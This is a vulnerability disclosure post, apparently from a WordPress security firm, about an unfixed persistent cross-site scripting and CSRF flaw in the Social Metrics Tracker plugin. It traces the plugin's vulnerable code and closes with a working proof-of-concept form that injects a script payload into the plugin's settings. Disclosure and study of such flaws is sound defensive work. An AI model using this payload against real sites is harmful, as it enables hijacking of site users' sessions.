As part of monitoring we do to make sure we are providing customers of our service with the best possible data on vulnerabilities in WordPress plugins they may be using we monitor for what look to be hackers probing for usage of plugins. Last week through that we found two plugins with unfixed vulnerabilities that hackers would likely target. With a third plugin someone else had figure out what hackers would likely target before us (we are making changes to our process to improve our ability to quickly spot issues like that one). On Monday we disclosed vulnerabilities a couple more unfixed vulnerability based on plugins we saw probed earlier this week. And we are having to do that again as today we saw an apparent hacker probing for usage of the plugin Social Metrics Tracker by requesting these files:

• /wp-content/plugins/social-metrics-tracker/readme.txt
• /wp-content/plugins/social-metrics-tracker/js/social-metrics-tracker.js

Like a number of the previous plugins this has a number of apparent security issues. With this one there is the possibility of there being a reflected cross-site scripting (XSS) flagged by our Plugin Security Checker, but the most serious obvious vulnerably we found was a persistent cross-site scripting (XSS) vulnerability. That has was an issue with some of the previous plugins and some others had an authenticated variant of that, so that might be what hackers are looking to exploit here.

The vulnerability would have been something that the type of security review of WordPress plugins we do could have caught before it appears hackers found it or one of the other issues in the plugin.

The vulnerability takes a bit of circuitous route, as it involves improperly secured export functionality that then leads to code to save some of the plugin’s settings.

In the file /social-metrics-tracker.php the plugin registers the init() function in the same file to run during “init”, so when WordPress loads:

63

add_action('init', array($this, 'init'));

In that file if is_admin() is true and several GET inputs exist the function smt_download_export_file() in the file /smt-export.php :

84
85
86

if (is_admin() && isset($_GET['smt_download_export_file']) && $_GET['smt_download_export_file'] && $_GET['page'] == 'social-metrics-tracker-export') {
	require('smt-export.php');
	smt_download_export_file($this);

The is_admin() function tells you if an admin page is being accessed, not if someone is logged in as Administrator. It isn’t clear if the common confusion led to that function being used there or it was being used as intended. That function can be true even if the request is coming from someone not logged in WordPress.

That function will create new instance of the class GoogleAnalyticsUpdater:

7
8
9
10
11

function smt_download_export_file($smt) {
 
	$data = array();
 
	$gapi = new GoogleAnalyticsUpdater();

In the __construct() function for that class, which is located in the file /data-sources/google_analytics.php, if certain user input exists then new settings will be saved for the plugin’s Google Analytics configuration:

22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

if ($_POST && $_GET['section'] == 'gapi') {
 
	// Multisite mode
	if (isset($_POST['multisite_mode'])) 		$this->set_multisite_mode($_POST['multisite_mode']);
 
	// GAPI Credentials
	if (isset($_POST['gapi_client_id'])) 		$this->data['gapi_client_id'] 		= $_POST['gapi_client_id'];
	if (isset($_POST['gapi_client_secret'])) 	$this->data['gapi_client_secret'] 	= $_POST['gapi_client_secret'];
	if (isset($_POST['gapi_developer_key'])) 	$this->data['gapi_developer_key'] 	= $_POST['gapi_developer_key'];
 
	// Profile selection
	if (isset($_POST['gapi_profile_id'])) {
 
		$elems = explode(',', $_POST['gapi_profile_id'], 2);
		$this->data['gapi_profile_id']   = $elems[0];
		$this->data['gapi_profile_name'] = $elems[1];
 
	}
 
	// Save to DB
	$this->update_gapi_data();

100
101
102
103
104
105
106
107
108

public function update_gapi_data() {
 
	if ($this->multisite_mode) {
		update_site_option( 'smt_gapi_data', $this->data );
	} else {
		update_option( 'smt_gapi_data', $this->data );
	}
 
}

The new settings are not sanitized or validated when saved and as the proof of concept below shows, not escaped when output, so that code permits persistent cross-site scripting (XSS) to occur.

The code also lacks a capabilities checks to limit access to changing the settings to the users intended to be able to do it and a nonce check to prevent cross-site request forgery (CSRF).

WordPress Causes Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof concept will cause an alert box with any available cookies to be shown when visiting the page /wp-admin/admin.php?page=social-metrics-tracker-settings&section=gapi.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-post.php?page=social-metrics-tracker-export&smt_download_export_file=1&section=gapi" method="POST">
<input type="hidden" name="gapi_client_id" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?